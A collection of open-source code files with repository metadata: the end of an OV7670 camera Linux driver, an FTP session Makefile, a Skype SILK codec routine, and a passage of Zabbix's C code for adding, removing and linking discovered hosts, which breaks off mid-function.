case V4L2_CID_SATURATION: ctrl->value = decoder->saturation; break; case V4L2_CID_HUE: ctrl->value = decoder->hue; break; } return 0; } /* Functions required by soc_camera_ops ***************************************/ /* Alter bus settings on camera side */ static int ov7670soc_set_bus_param(struct soc_camera_device *icd, unsigned long flags) { return 0; } static unsigned long ov7670soc_query_bus_param(struct soc_camera_device *icd) { struct soc_camera_link *icl = to_soc_camera_link(icd); unsigned long flags = SOCAM_PCLK_SAMPLE_RISING | SOCAM_MASTER | SOCAM_VSYNC_ACTIVE_HIGH | SOCAM_HSYNC_ACTIVE_HIGH | SOCAM_DATA_ACTIVE_HIGH | SOCAM_DATAWIDTH_8; return soc_camera_apply_sensor_flags(icl, flags); } /******************************************************************************/ /* Functions required by v4l2_subdev_video_ops ********************************/ static int ov7670soc_s_stream(struct v4l2_subdev *sd, int enable) { /* The OV7670 camera dose not have ability to start/stop streaming */ return 0; } static int ov7670soc_s_mbus_fmt(struct v4l2_subdev *sd, struct v4l2_mbus_framefmt *mf) { /* * Set the image format. Currently we support only one format with * fixed resolution, so we can set the format as it is on camera startup. */ ov7670soc_setup(sd, 0); return 0; } static int ov7670soc_try_mbus_fmt(struct v4l2_subdev *sd, struct v4l2_mbus_framefmt *mf) { struct ov7670soc_decoder *decoder = to_decoder(sd); int index; /* Check if we support queried image format. */ for (index = 0; index < N_OV7670_FMTS; index++) if (ov7670soc_formats[index].mbus_code == mf->code) break; /* If not, set the only one which we support */ if (index >= N_OV7670_FMTS) { /* default to first format */ index = 0; mf->code = ov7670soc_formats[0].mbus_code; } /* Store the current format */ decoder->fmt = &ov7670soc_formats[index]; /* Fixed value, move to ov7670_formats */ mf->field = V4L2_FIELD_NONE; /* TODO: support for other resolutions (CIF/QCIF etc).*/ mf->width = VGA_WIDTH; mf->height = VGA_HEIGHT; mf->colorspace = decoder->fmt->colorspace; return 0; } static int ov7670soc_enum_mbus_fmt(struct v4l2_subdev *sd, unsigned int index, enum v4l2_mbus_pixelcode *code) { if (index >= ARRAY_SIZE(ov7670soc_formats)) return -EINVAL; *code = ov7670soc_formats[index].mbus_code; return 0; } /******************************************************************************/ static struct soc_camera_ops ov7670soc_soc_camera_ops = { .set_bus_param = ov7670soc_set_bus_param, .query_bus_param = ov7670soc_query_bus_param, .controls = ov7670soc_controls, .num_controls = ARRAY_SIZE(ov7670soc_controls), }; static const struct v4l2_subdev_core_ops ov7670soc_core_ops = { .g_ctrl = ov7670soc_g_ctrl, .s_ctrl = ov7670soc_s_ctrl, }; static const struct v4l2_subdev_video_ops ov7670soc_video_ops = { .s_stream = ov7670soc_s_stream, .s_mbus_fmt = ov7670soc_s_mbus_fmt, .try_mbus_fmt = ov7670soc_try_mbus_fmt, .enum_mbus_fmt = ov7670soc_enum_mbus_fmt, }; static const struct v4l2_subdev_ops ov7670soc_ops = { .core = &ov7670soc_core_ops, .video = &ov7670soc_video_ops, }; static int ov7670soc_probe(struct i2c_client *client, const struct i2c_device_id *id) { struct ov7670soc_decoder *decoder; struct soc_camera_device *icd = client->dev.platform_data; struct soc_camera_link *icl; struct v4l2_subdev *sd; /* Check if the adapter supports the needed features */ if (!i2c_check_functionality(client->adapter, I2C_FUNC_SMBUS_BYTE_DATA)) return -EIO; icl = to_soc_camera_link(icd); if (!icl) { dev_err(&client->dev, "No platform data!!\n"); return -ENODEV; } decoder = kzalloc(sizeof(struct ov7670soc_decoder), GFP_KERNEL); if (!decoder) { dev_err(&client->dev, "Failed to allocate memory for private data!\n"); return -ENOMEM; } sd = &decoder->sd; /* Initialize the ov7670soc_decoder with default configuration */ decoder->fmt_list = ov7670soc_formats; decoder->num_fmts = ARRAY_SIZE(ov7670soc_formats); decoder->fmt = &ov7670soc_formats[0]; decoder->pdata = client->dev.platform_data; decoder->brightness = 128; decoder->contrast = 64; decoder->saturation = 128; decoder->hue = 0; /* Register with V4L2 layer as slave device */ v4l2_i2c_subdev_init(sd, client, &ov7670soc_ops); icd->ops = &ov7670soc_soc_camera_ops; return 0; } static int ov7670soc_remove(struct i2c_client *client) { struct v4l2_subdev *sd = i2c_get_clientdata(client); struct ov7670soc_decoder *decoder = to_decoder(sd); v4l2_device_unregister_subdev(sd); kfree(decoder); return 0; } static const struct i2c_device_id ov7670soc_id[] = { {OV7670SOC_MODULE_NAME, 0}, { } }; MODULE_DEVICE_TABLE(i2c, ov7670soc_id); static struct i2c_driver ov7670soc_driver = { .driver = { .owner = THIS_MODULE, .name = OV7670SOC_MODULE_NAME, }, .probe = ov7670soc_probe, .remove = ov7670soc_remove, .id_table = ov7670soc_id, }; static int __init ov7670soc_init(void) { return i2c_add_driver(&ov7670soc_driver); } static void __exit ov7670soc_exit(void) { i2c_del_driver(&ov7670soc_driver); } module_init(ov7670soc_init); module_exit(ov7670soc_exit); MODULE_AUTHOR("Antmicro Ltd."); MODULE_DESCRIPTION("OV7670 linux decoder driver"); MODULE_LICENSE("GPL");
mzueger/linux-colibri-t30
drivers/media/video/ov7670soc.c
C
gpl-2.0
28,122
FTP_HEADERS=FtpProtocol.h FtpSession.h FTP_SOURCES=FtpSession.o\ FtpProtocol.o\ BIN=ftpsession all: $(BIN) include ../make-include.mk CFLAGS+=-I$(SYS_LIB) ftpsession: $(FTP_SOURCES) $(SYS_LIB)/libSys.so $(FTP_HEADERS) ${CC} $(CFLAGS) $(LDFLAGS) -o $@ $(FTP_SOURCES) -L$(SYS_LIB) -lSys -lssl -lcrypto ftp_test: ftp_test.o FtpProtocol.o $(SYS_LIB)/libSys.so ${CC} $(CFLAGS) -o $@ $^ -L$(SYS_LIB) -lSys -lssl -lcrypt cleanbin: rm $(BIN) clean: rm -f *.o rm -f $(BIN) install: @$(STRIP) $(BIN) @cp -rf $(BIN) $(ACCESS_POINT_BIN) un-install: if [ -n '$(BIN)' ]; then cd $(ACCESS_POINT_BIN); rm -rf $(BIN); fi
odit/rv042
linux/embedded_rootfs/pkg_addon/EasyAccess/src/ftp/Makefile
Makefile
gpl-2.0
622
/*********************************************************************** Copyright (c) 2006-2011, Skype Limited. All rights reserved. Redistribution and use in source and binary forms, with or without modification, (subject to the limitations in the disclaimer below) are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Skype Limited, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written permission. NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ***********************************************************************/ #include "SKP_Silk_main_FIX.h" void SKP_Silk_find_pred_coefs_FIX( SKP_Silk_encoder_state_FIX *psEnc, /* I/O encoder state */ SKP_Silk_encoder_control_FIX *psEncCtrl, /* I/O encoder control */ const SKP_int16 res_pitch[] /* I Residual from pitch analysis */ ) { SKP_int i; SKP_int32 WLTP[ NB_SUBFR * LTP_ORDER * LTP_ORDER ]; SKP_int32 invGains_Q16[ NB_SUBFR ], local_gains[ NB_SUBFR ], Wght_Q15[ NB_SUBFR ]; SKP_int NLSF_Q15[ MAX_LPC_ORDER ]; const SKP_int16 *x_ptr; SKP_int16 *x_pre_ptr, LPC_in_pre[ NB_SUBFR * MAX_LPC_ORDER + MAX_FRAME_LENGTH ]; SKP_int32 tmp, min_gain_Q16; SKP_int LTP_corrs_rshift[ NB_SUBFR ]; /* weighting for weighted least squares */ min_gain_Q16 = SKP_int32_MAX >> 6; for( i = 0; i < NB_SUBFR; i++ ) { min_gain_Q16 = SKP_min( min_gain_Q16, psEncCtrl->Gains_Q16[ i ] ); } for( i = 0; i < NB_SUBFR; i++ ) { /* Divide to Q16 */ SKP_assert( psEncCtrl->Gains_Q16[ i ] > 0 ); /* Invert and normalize gains, and ensure that maximum invGains_Q16 is within range of a 16 bit int */ invGains_Q16[ i ] = SKP_DIV32_varQ( min_gain_Q16, psEncCtrl->Gains_Q16[ i ], 16 - 2 ); /* Ensure Wght_Q15 a minimum value 1 */ invGains_Q16[ i ] = SKP_max( invGains_Q16[ i ], 363 ); /* Square the inverted gains */ SKP_assert( invGains_Q16[ i ] == SKP_SAT16( invGains_Q16[ i ] ) ); tmp = SKP_SMULWB( invGains_Q16[ i ], invGains_Q16[ i ] ); Wght_Q15[ i ] = SKP_RSHIFT( tmp, 1 ); /* Invert the inverted and normalized gains */ local_gains[ i ] = SKP_DIV32( ( 1 << 16 ), invGains_Q16[ i ] ); } if( psEncCtrl->sCmn.sigtype == SIG_TYPE_VOICED ) { /**********/ /* VOICED */ /**********/ SKP_assert( psEnc->sCmn.frame_length - psEnc->sCmn.predictLPCOrder >= psEncCtrl->sCmn.pitchL[ 0 ] + LTP_ORDER / 2 ); /* LTP analysis */ SKP_Silk_find_LTP_FIX( psEncCtrl->LTPCoef_Q14, WLTP, &psEncCtrl->LTPredCodGain_Q7, res_pitch, res_pitch + SKP_RSHIFT( psEnc->sCmn.frame_length, 1 ), psEncCtrl->sCmn.pitchL, Wght_Q15, psEnc->sCmn.subfr_length, psEnc->sCmn.frame_length, LTP_corrs_rshift ); /* Quantize LTP gain parameters */ SKP_Silk_quant_LTP_gains_FIX( psEncCtrl->LTPCoef_Q14, psEncCtrl->sCmn.LTPIndex, &psEncCtrl->sCmn.PERIndex, WLTP, psEnc->mu_LTP_Q8, psEnc->sCmn.LTPQuantLowComplexity ); /* Control LTP scaling */ SKP_Silk_LTP_scale_ctrl_FIX( psEnc, psEncCtrl ); /* Create LTP residual */ SKP_Silk_LTP_analysis_filter_FIX( LPC_in_pre, psEnc->x_buf + psEnc->sCmn.frame_length - psEnc->sCmn.predictLPCOrder, psEncCtrl->LTPCoef_Q14, psEncCtrl->sCmn.pitchL, invGains_Q16, psEnc->sCmn.subfr_length, psEnc->sCmn.predictLPCOrder ); } else { /************/ /* UNVOICED */ /************/ /* Create signal with prepended subframes, scaled by inverse gains */ x_ptr = psEnc->x_buf + psEnc->sCmn.frame_length - psEnc->sCmn.predictLPCOrder; x_pre_ptr = LPC_in_pre; for( i = 0; i < NB_SUBFR; i++ ) { SKP_Silk_scale_copy_vector16( x_pre_ptr, x_ptr, invGains_Q16[ i ], psEnc->sCmn.subfr_length + psEnc->sCmn.predictLPCOrder ); x_pre_ptr += psEnc->sCmn.subfr_length + psEnc->sCmn.predictLPCOrder; x_ptr += psEnc->sCmn.subfr_length; } SKP_memset( psEncCtrl->LTPCoef_Q14, 0, NB_SUBFR * LTP_ORDER * sizeof( SKP_int16 ) ); psEncCtrl->LTPredCodGain_Q7 = 0; } /* LPC_in_pre contains the LTP-filtered input for voiced, and the unfiltered input for unvoiced */ TIC(FIND_LPC) SKP_Silk_find_LPC_FIX( NLSF_Q15, &psEncCtrl->sCmn.NLSFInterpCoef_Q2, psEnc->sPred.prev_NLSFq_Q15, psEnc->sCmn.useInterpolatedNLSFs * ( 1 - psEnc->sCmn.first_frame_after_reset ), psEnc->sCmn.predictLPCOrder, LPC_in_pre, psEnc->sCmn.subfr_length + psEnc->sCmn.predictLPCOrder ); TOC(FIND_LPC) /* Quantize LSFs */ TIC(PROCESS_LSFS) SKP_Silk_process_NLSFs_FIX( psEnc, psEncCtrl, NLSF_Q15 ); TOC(PROCESS_LSFS) /* Calculate residual energy using quantized LPC coefficients */ SKP_Silk_residual_energy_FIX( psEncCtrl->ResNrg, psEncCtrl->ResNrgQ, LPC_in_pre, psEncCtrl->PredCoef_Q12, local_gains, psEnc->sCmn.subfr_length, psEnc->sCmn.predictLPCOrder ); /* Copy to prediction struct for use in next frame for fluctuation reduction */ SKP_memcpy( psEnc->sPred.prev_NLSFq_Q15, NLSF_Q15, psEnc->sCmn.predictLPCOrder * sizeof( SKP_int ) ); }
ZiberLTD/windows
pjmedia/src/pjmedia-codec/silk/SKP_Silk_find_pred_coefs_FIX.c
C
gpl-2.0
6,599
/* ** Zabbix ** Copyright (C) 2001-2015 Zabbix SIA ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. **/ #include "common.h" #include "comms.h" #include "db.h" #include "log.h" #include "dbcache.h" #include "operations.h" /****************************************************************************** * * * Function: select_discovered_host * * * * Purpose: select hostid of discovered host * * * * Parameters: dhostid - discovered host id * * * * Return value: hostid - existing hostid, 0 - if not found * * * * Author: Alexei Vladishev * * * ******************************************************************************/ static zbx_uint64_t select_discovered_host(const DB_EVENT *event) { const char *__function_name = "select_discovered_host"; DB_RESULT result; DB_ROW row; zbx_uint64_t hostid = 0; char *sql = NULL; zabbix_log(LOG_LEVEL_DEBUG, "In %s() eventid:" ZBX_FS_UI64, __function_name, event->eventid); switch (event->object) { case EVENT_OBJECT_DHOST: sql = zbx_dsprintf(sql, "select h.hostid,h.status" " from hosts h,interface i,dservices ds,dchecks dc,drules dr" " where h.hostid=i.hostid" " and i.ip=ds.ip" " and ds.dcheckid=dc.dcheckid" " and dc.druleid=dr.druleid" " and h.status in (%d,%d)" " and " ZBX_SQL_NULLCMP("dr.proxy_hostid", "h.proxy_hostid") " and i.useip=1" " and ds.dhostid=" ZBX_FS_UI64 ZBX_SQL_NODE " order by i.hostid", HOST_STATUS_MONITORED, HOST_STATUS_NOT_MONITORED, event->objectid, DBand_node_local("i.interfaceid")); break; case EVENT_OBJECT_DSERVICE: sql = zbx_dsprintf(sql, "select h.hostid,h.status" " from hosts h,interface i,dservices ds,dchecks dc,drules dr" " where h.hostid=i.hostid" " and i.ip=ds.ip" " and ds.dcheckid=dc.dcheckid" " and dc.druleid=dr.druleid" " and h.status in (%d,%d)" " and " ZBX_SQL_NULLCMP("dr.proxy_hostid", "h.proxy_hostid") " and i.useip=1" " and ds.dserviceid=" ZBX_FS_UI64 ZBX_SQL_NODE " order by i.hostid", HOST_STATUS_MONITORED, HOST_STATUS_NOT_MONITORED, event->objectid, DBand_node_local("i.interfaceid")); break; default: goto exit; } result = DBselectN(sql, 1); zbx_free(sql); if (NULL != (row = DBfetch(result))) ZBX_STR2UINT64(hostid, row[0]); DBfree_result(result); exit: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():" ZBX_FS_UI64, __function_name, hostid); return hostid; } /****************************************************************************** * * * Function: add_discovered_host_groups * * * * Purpose: add group to host if not added already * * * * Author: Alexander Vladishev * * * ******************************************************************************/ static void add_discovered_host_groups(zbx_uint64_t hostid, zbx_vector_uint64_t *groupids) { const char *__function_name = "add_discovered_host_groups"; DB_RESULT result; DB_ROW row; zbx_uint64_t groupid; char *sql = NULL; size_t sql_alloc = 256, sql_offset = 0; int i; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); sql = zbx_malloc(sql, sql_alloc); zbx_snprintf_alloc(&sql, &sql_alloc, &sql_offset, "select groupid" " from hosts_groups" " where hostid=" ZBX_FS_UI64 " and", hostid); DBadd_condition_alloc(&sql, &sql_alloc, &sql_offset, "groupid", groupids->values, groupids->values_num); result = DBselect("%s", sql); zbx_free(sql); while (NULL != (row = DBfetch(result))) { ZBX_STR2UINT64(groupid, row[0]); if (FAIL == (i = zbx_vector_uint64_search(groupids, groupid, ZBX_DEFAULT_UINT64_COMPARE_FUNC))) { THIS_SHOULD_NEVER_HAPPEN; continue; } zbx_vector_uint64_remove_noorder(groupids, i); } DBfree_result(result); if (0 != groupids->values_num) { zbx_uint64_t hostgroupid; zbx_db_insert_t db_insert; hostgroupid = DBget_maxid_num("hosts_groups", groupids->values_num); zbx_db_insert_prepare(&db_insert, "hosts_groups", "hostgroupid", "hostid", "groupid", NULL); zbx_vector_uint64_sort(groupids, ZBX_DEFAULT_UINT64_COMPARE_FUNC); for (i = 0; i < groupids->values_num; i++) { zbx_db_insert_add_values(&db_insert, hostgroupid++, hostid, groupids->values[i]); } zbx_db_insert_execute(&db_insert); zbx_db_insert_clean(&db_insert); } zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: add_discovered_host * * * * Purpose: add discovered host if it was not added already * * * * Parameters: dhostid - discovered host id * * * * Return value: hostid - new/existing hostid * * * * Author: Alexei Vladishev * * * ******************************************************************************/ static zbx_uint64_t add_discovered_host(const DB_EVENT *event) { const char *__function_name = "add_discovered_host"; DB_RESULT result; DB_RESULT result2; DB_ROW row; DB_ROW row2; zbx_uint64_t dhostid, hostid = 0, proxy_hostid; char *host = NULL, *host_esc, *host_unique; unsigned short port; zbx_uint64_t groupid; zbx_vector_uint64_t groupids; unsigned char svc_type, interface_type; zabbix_log(LOG_LEVEL_DEBUG, "In %s() eventid:" ZBX_FS_UI64, __function_name, event->eventid); zbx_vector_uint64_create(&groupids); if (0 == *(zbx_uint64_t *)DCconfig_get_config_data(&groupid, CONFIG_DISCOVERY_GROUPID)) { zabbix_log(LOG_LEVEL_WARNING, "cannot add discovered host: group for discovered hosts is not defined"); goto clean; } zbx_vector_uint64_append(&groupids, groupid); if (EVENT_OBJECT_DHOST == event->object || EVENT_OBJECT_DSERVICE == event->object) { if (EVENT_OBJECT_DHOST == event->object) { result = DBselect( "select ds.dhostid,dr.proxy_hostid,ds.ip,ds.dns,ds.port,ds.type" " from drules dr,dchecks dc,dservices ds" " where dc.druleid=dr.druleid" " and ds.dcheckid=dc.dcheckid" " and ds.dhostid=" ZBX_FS_UI64 " order by ds.dserviceid", event->objectid); } else { result = DBselect( "select ds.dhostid,dr.proxy_hostid,ds.ip,ds.dns,ds.port,ds.type" " from drules dr,dchecks dc,dservices ds,dservices ds1" " where dc.druleid=dr.druleid" " and ds.dcheckid=dc.dcheckid" " and ds1.dhostid=ds.dhostid" " and ds1.dserviceid=" ZBX_FS_UI64 " order by ds.dserviceid", event->objectid); } while (NULL != (row = DBfetch(result))) { ZBX_STR2UINT64(dhostid, row[0]); ZBX_DBROW2UINT64(proxy_hostid, row[1]); svc_type = (unsigned char)atoi(row[5]); switch (svc_type) { case SVC_AGENT: port = (unsigned short)atoi(row[4]); interface_type = INTERFACE_TYPE_AGENT; break; case SVC_SNMPv1: case SVC_SNMPv2c: case SVC_SNMPv3: port = (unsigned short)atoi(row[4]); interface_type = INTERFACE_TYPE_SNMP; break; default: port = ZBX_DEFAULT_AGENT_PORT; interface_type = INTERFACE_TYPE_AGENT; } if (0 == hostid) { result2 = DBselect( "select distinct h.hostid" " from hosts h,interface i,dservices ds" " where h.hostid=i.hostid" " and i.ip=ds.ip" " and h.status in (%d,%d)" " and h.proxy_hostid%s" " and ds.dhostid=" ZBX_FS_UI64 ZBX_SQL_NODE " order by h.hostid", HOST_STATUS_MONITORED, HOST_STATUS_NOT_MONITORED, DBsql_id_cmp(proxy_hostid), dhostid, DBand_node_local("h.hostid")); if (NULL != (row2 = DBfetch(result2))) ZBX_STR2UINT64(hostid, row2[0]); DBfree_result(result2); } if (0 == hostid) { hostid = DBget_maxid("hosts"); /* for host uniqueness purposes */ host = zbx_strdup(host, '\0' != *row[3] ? row[3] : row[2]); make_hostname(host); /* replace not-allowed symbols */ host_unique = DBget_unique_hostname_by_sample(host); host_esc = DBdyn_escape_string(host_unique); zbx_free(host); DBexecute("insert into hosts" " (hostid,proxy_hostid,host,name)" " values" " (" ZBX_FS_UI64 ",%s,'%s','%s')", hostid, DBsql_id_ins(proxy_hostid), host_esc, host_esc); DBadd_interface(hostid, interface_type, 1, row[2], row[3], port); zbx_free(host_unique); zbx_free(host_esc); add_discovered_host_groups(hostid, &groupids); } else { DBadd_interface(hostid, interface_type, 1, row[2], row[3], port); } } DBfree_result(result); } else if (EVENT_OBJECT_ZABBIX_ACTIVE == event->object) { result = DBselect( "select proxy_hostid,host,listen_ip,listen_dns,listen_port" " from autoreg_host" " where autoreg_hostid=" ZBX_FS_UI64, event->objectid); if (NULL != (row = DBfetch(result))) { char *sql = NULL; zbx_uint64_t host_proxy_hostid; ZBX_DBROW2UINT64(proxy_hostid, row[0]); host_esc = DBdyn_escape_string_len(row[1], HOST_HOST_LEN); port = (unsigned short)atoi(row[4]); result2 = DBselect( "select null" " from hosts" " where host='%s'" " and status=%d", host_esc, HOST_STATUS_TEMPLATE); if (NULL != (row2 = DBfetch(result2))) { zabbix_log(LOG_LEVEL_WARNING, "cannot add discovered host \"%s\":" " template with the same name already exists", row[1]); DBfree_result(result2); goto out; } DBfree_result(result2); sql = zbx_dsprintf(sql, "select hostid,proxy_hostid" " from hosts" " where host='%s'" " and flags<>%d" " and status in (%d,%d)" ZBX_SQL_NODE " order by hostid", host_esc, ZBX_FLAG_DISCOVERY_PROTOTYPE, HOST_STATUS_MONITORED, HOST_STATUS_NOT_MONITORED, DBand_node_local("hostid")); result2 = DBselectN(sql, 1); zbx_free(sql); if (NULL == (row2 = DBfetch(result2))) { hostid = DBget_maxid("hosts"); DBexecute("insert into hosts" " (hostid,proxy_hostid,host,name)" " values" " (" ZBX_FS_UI64 ",%s,'%s','%s')", hostid, DBsql_id_ins(proxy_hostid), host_esc, host_esc); DBadd_interface(hostid, INTERFACE_TYPE_AGENT, 1, row[2], row[3], port); add_discovered_host_groups(hostid, &groupids); } else { ZBX_STR2UINT64(hostid, row2[0]); ZBX_DBROW2UINT64(host_proxy_hostid, row2[1]); if (host_proxy_hostid != proxy_hostid) { DBexecute("update hosts" " set proxy_hostid=%s" " where hostid=" ZBX_FS_UI64, DBsql_id_ins(proxy_hostid), hostid); } DBadd_interface(hostid, INTERFACE_TYPE_AGENT, 1, row[2], row[3], port); } DBfree_result(result2); out: zbx_free(host_esc); } DBfree_result(result); } clean: zbx_vector_uint64_destroy(&groupids); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); return hostid; } /****************************************************************************** * * * Function: op_host_add * * * * Purpose: add discovered host * * * * Parameters: trigger - trigger data * * action - action data * * * * Author: Alexei Vladishev * * * ******************************************************************************/ void op_host_add(const DB_EVENT *event) { const char *__function_name = "op_host_add"; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY && event->source != EVENT_SOURCE_AUTO_REGISTRATION) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE && event->object != EVENT_OBJECT_ZABBIX_ACTIVE) return; add_discovered_host(event); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_host_del * * * * Purpose: delete host * * * * Author: Eugene Grigorjev * * * ******************************************************************************/ void op_host_del(const DB_EVENT *event) { const char *__function_name = "op_host_del"; zbx_vector_uint64_t hostids; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE) return; if (0 == (hostid = select_discovered_host(event))) return; zbx_vector_uint64_create(&hostids); zbx_vector_uint64_append(&hostids, hostid); DBdelete_hosts(&hostids); zbx_vector_uint64_destroy(&hostids); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_host_enable * * * * Purpose: enable discovered * * * * Author: Alexander Vladishev * * * ******************************************************************************/ void op_host_enable(const DB_EVENT *event) { const char *__function_name = "op_host_enable"; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE) return; if (0 == (hostid = add_discovered_host(event))) return; DBexecute( "update hosts" " set status=%d" " where hostid=" ZBX_FS_UI64, HOST_STATUS_MONITORED, hostid); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_host_disable * * * * Purpose: disable host * * * * Author: Alexander Vladishev * * * ******************************************************************************/ void op_host_disable(const DB_EVENT *event) { const char *__function_name = "op_host_disable"; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY && event->source != EVENT_SOURCE_AUTO_REGISTRATION) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE && event->object != EVENT_OBJECT_ZABBIX_ACTIVE) return; if (0 == (hostid = add_discovered_host(event))) return; DBexecute( "update hosts" " set status=%d" " where hostid=" ZBX_FS_UI64, HOST_STATUS_NOT_MONITORED, hostid); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_groups_add * * * * Purpose: add groups to discovered host * * * * Parameters: event - [IN] event data * * groupids - [IN] IDs of groups to add * * * * Author: Alexei Vladishev * * * ******************************************************************************/ void op_groups_add(const DB_EVENT *event, zbx_vector_uint64_t *groupids) { const char *__function_name = "op_groups_add"; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY && event->source != EVENT_SOURCE_AUTO_REGISTRATION) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE && event->object != EVENT_OBJECT_ZABBIX_ACTIVE) return; if (0 == (hostid = add_discovered_host(event))) return; add_discovered_host_groups(hostid, groupids); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_groups_del * * * * Purpose: delete groups from discovered host * * * * Parameters: event - [IN] event data * * groupids - [IN] IDs of groups to delete * * * * Author: Alexei Vladishev * * * ******************************************************************************/ void op_groups_del(const DB_EVENT *event, zbx_vector_uint64_t *groupids) { const char *__function_name = "op_groups_del"; DB_RESULT result; zbx_uint64_t hostid; char *sql = NULL; size_t sql_alloc = 256, sql_offset = 0; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE) return; if (0 == (hostid = select_discovered_host(event))) return; sql = zbx_malloc(sql, sql_alloc); /* make sure host belongs to at least one hostgroup */ zbx_snprintf_alloc(&sql, &sql_alloc, &sql_offset, "select groupid" " from hosts_groups" " where hostid=" ZBX_FS_UI64 " and not", hostid); DBadd_condition_alloc(&sql, &sql_alloc, &sql_offset, "groupid", groupids->values, groupids->values_num); result = DBselectN(sql, 1); if (NULL == DBfetch(result)) { zabbix_log(LOG_LEVEL_WARNING, "cannot remove host \"%s\" from all host groups:" " it must belong to at least one", zbx_host_string(hostid)); } else { sql_offset = 0; zbx_snprintf_alloc(&sql, &sql_alloc, &sql_offset, "delete from hosts_groups" " where hostid=" ZBX_FS_UI64 " and", hostid); DBadd_condition_alloc(&sql, &sql_alloc, &sql_offset, "groupid", groupids->values, groupids->values_num); DBexecute("%s", sql); } DBfree_result(result); zbx_free(sql); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_template_add * * * * Purpose: link host with template * * * * Parameters: event - [IN] event data * * lnk_templateids - [IN] array of template IDs * * * * Author: Eugene Grigorjev * * * ******************************************************************************/ void op_template_add(const DB_EVENT *event, zbx_vector_uint64_t *lnk_templateids) { const char *__function_name = "op_template_add"; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY && event->source != EVENT_SOURCE_AUTO_REGISTRATION) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE && event->object != EVENT_OBJECT_ZABBIX_ACTIVE) return; if (0 == (hostid = add_discovered_host(event))) return; DBcopy_template_elements(hostid, lnk_templateids); zabbix_log(LOG_LEVEL_DEBUG, "End of %s()", __function_name); } /****************************************************************************** * * * Function: op_template_del * * * * Purpose: unlink and clear host from template * * * * Parameters: event - [IN] event data * * lnk_templateids - [IN] array of template IDs * * * * Author: Eugene Grigorjev * * * ******************************************************************************/ void op_template_del(const DB_EVENT *event, zbx_vector_uint64_t *del_templateids) { const char *__function_name = "op_template_del"; zbx_uint64_t hostid; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (event->source != EVENT_SOURCE_DISCOVERY) return; if (event->object != EVENT_OBJECT_DHOST && event->object != EVENT_OBJECT_DSERVICE) return; if (0 == (hostid = select_discovered_host(event))) return; DBdelete_template_elements(hostid, del_templateids); 